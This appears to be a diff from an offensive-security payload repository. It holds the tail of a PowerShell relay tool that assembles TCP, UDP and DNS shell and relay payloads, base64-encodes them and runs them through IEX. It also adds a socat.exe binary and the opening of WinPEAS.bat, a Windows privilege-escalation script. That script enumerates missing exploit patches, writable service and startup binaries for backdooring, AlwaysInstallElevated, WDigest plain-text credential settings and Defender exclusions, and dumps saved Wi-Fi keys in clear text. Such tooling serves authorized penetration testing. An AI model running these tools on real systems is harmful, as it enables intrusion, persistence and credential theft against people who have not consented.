else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
}
if($e -ne "")
{
Write-Verbose "Set Stream 2: Process"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
$InvokeString += "@('$e')`n`n"
}
elseif($ep)
{
Write-Verbose "Set Stream 2: Powershell"
$InvokeString += "`n`n"
}
elseif($r -ne "")
{
if($r.split(":")[0].ToLower() -eq "udp")
{
Write-Verbose "Set Stream 2: UDP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
if($r.split(":")[0].ToLower() -eq "dns")
{
Write-Verbose "Set Stream 2: DNS"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($r.split(":").Count -eq 2){return "This feature is not available."}
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
else{return "Bad relay format."}
}
elseif($r.split(":")[0].ToLower() -eq "tcp")
{
Write-Verbose "Set Stream 2: TCP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
}
else
{
Write-Verbose "Set Stream 2: Console"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
$InvokeString += ("@('" + $o + "')")
}
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
$InvokeString = ($FunctionString + $InvokeString)
########## GENERATE PAYLOAD ##########
########## RETURN GENERATED PAYLOADS ##########
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
########## RETURN GENERATED PAYLOADS ##########
########## EXECUTION ##########
$Output = $null
try
{
if($rep)
{
while($True)
{
$Output += IEX $InvokeString
Start-Sleep -s 2
Write-Verbose "Repetition Enabled: Restarting..."
}
}
else
{
$Output += IEX $InvokeString
}
}
finally
{
if($Output -ne $null)
{
if($of -eq ""){$Output}
else{[io.file]::WriteAllBytes($of,$Output)}
}
}
########## EXECUTION ##########
}

View File

Binary file not shown.

BIN
payloads/windows/socat.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,726 @@
@ECHO OFF & SETLOCAL EnableDelayedExpansion
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
COLOR 0F
CALL :SetOnce
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
REM :: Code by carlospolop; Re-Write by ThisLimn0
REM Registry scan of other drives besides
REM /////true or false
SET long=false
REM Check if the current path contains spaces
SET "CurrentFolder=%~dp0"
IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
ECHO winPEAS.bat cannot run if the current path contains spaces.
ECHO Exiting.
EXIT /B 1
)
:Splash
ECHO.
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"
CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m"
CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"
CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m"
CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m"
CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m"
ECHO. by carlospolop
ECHO.
ECHO.
:Advisory
REM // Increase progress in title by n percent
CALL :T_Progress 0
ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
ECHO.
ECHO. [i] Best Linux PE and hardening course: https://hacktricks-training.com/courses/lhe/
ECHO.
:SystemInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
systeminfo
ECHO.
CALL :T_Progress 2
:ListHotFixes
where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic qfe get Caption,Description,HotFixID,InstalledOn
) else (
powershell -command "Get-HotFix | Format-Table -AutoSize"
)
set expl=no
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
ECHO.
CALL :T_Progress 2
:DateAndTime
CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability
date /T
time /T
ECHO.
CALL :T_Progress 2
:AuditSettings
CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
ECHO. [i] Check what is being logged
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
ECHO.
CALL :T_Progress 1
:WEFSettings
CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
ECHO. [i] Check where are being sent the logs
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
ECHO.
CALL :T_Progress 1
:LAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
ECHO. [i] Check what is being logged
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
ECHO.
CALL :T_Progress 1
:WindowsLAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
ECHO.
CALL :T_Progress 1
:LSAProtectionCheck
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
ECHO. [i] Active if "1"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
CALL :T_Progress 1
:LSACredentialGuard
CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
ECHO. [i] Active if "1" or "2"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
ECHO.
CALL :T_Progress 1
:LogonCredentialsPlainInMemory
CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
ECHO. [i] Plain-text creds in memory if "1"
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
ECHO.
CALL :T_Progress 1
:CachedCreds
CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
ECHO. [i] You need System-rights to extract them
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
CALL :T_Progress 1
:UACSettings
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
ECHO.
CALL :T_Progress 1
:AVSettings
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
where wmic >nul 2>&1
if %errorlevel% equ 0 (
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
) else (
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
)
ECHO.Checking for defender whitelisted PATHS
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
CALL :T_Progress 1
:PSSettings
CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
ECHO.PowerShell v2 Version:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
ECHO.PowerShell v5 Version:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
ECHO.Transcriptions Settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
ECHO.Module logging settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
ECHO.Scriptblog logging settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
ECHO.
ECHO.PS default transcript history
dir %SystemDrive%\transcripts\ 2>nul
ECHO.
ECHO.Checking PS history file
dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
ECHO.
CALL :T_Progress 3
:MountedDisks
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
ECHO. [i] Maybe you find something interesting
where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic logicaldisk get caption
) else (
fsutil fsinfo drives
)
ECHO.
CALL :T_Progress 1
:Environment
CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
ECHO. [i] Interesting information?
ECHO.
set
ECHO.
CALL :T_Progress 1
:InstalledSoftware
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
ECHO.
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
ECHO.
CALL :T_Progress 2
:RemodeDeskCredMgr
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
ECHO.
CALL :T_Progress 1
:WSUS
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
ECHO.
CALL :T_Progress 1
:RunningProcesses
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
ECHO. [i] Something unexpected is running? Check for vulnerabilities
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
tasklist /SVC
ECHO.
CALL :T_Progress 2
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO.
ECHO. [i] Checking directory permissions of running processes (DLL injection)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO.
CALL :T_Progress 3
:RunAtStartup
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
CALL :T_Progress 2
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
CALL :T_Progress 2
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
CALL :T_Progress 2
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
ECHO.
CALL :T_Progress 2
:AlwaysInstallElevated
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
ECHO.
CALL :T_Progress 2
:NetworkShares
CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
net share
ECHO.
CALL :T_Progress 1
:NetworkInterfaces
CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
ipconfig /all
ECHO.
CALL :T_Progress 1
:NetworkUsedPorts
CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
ECHO. [i] Check for services restricted from the outside
netstat -ano | findstr /i listen
ECHO.
CALL :T_Progress 1
:NetworkFirewall
CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
netsh firewall show state
netsh firewall show config
ECHO.
CALL :T_Progress 2
:ARP
CALL :ColorLine " %E%33m[+]%E%97m ARP"
arp -A
ECHO.
CALL :T_Progress 1
:NetworkRoutes
CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
route print
ECHO.
CALL :T_Progress 1
:WindowsHostsFile
CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
CALL :T_Progress 1
:DNSCache
CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
ECHO.
CALL :T_Progress 1
:WifiCreds
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
CALL :T_Progress 1
:BasicUserInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
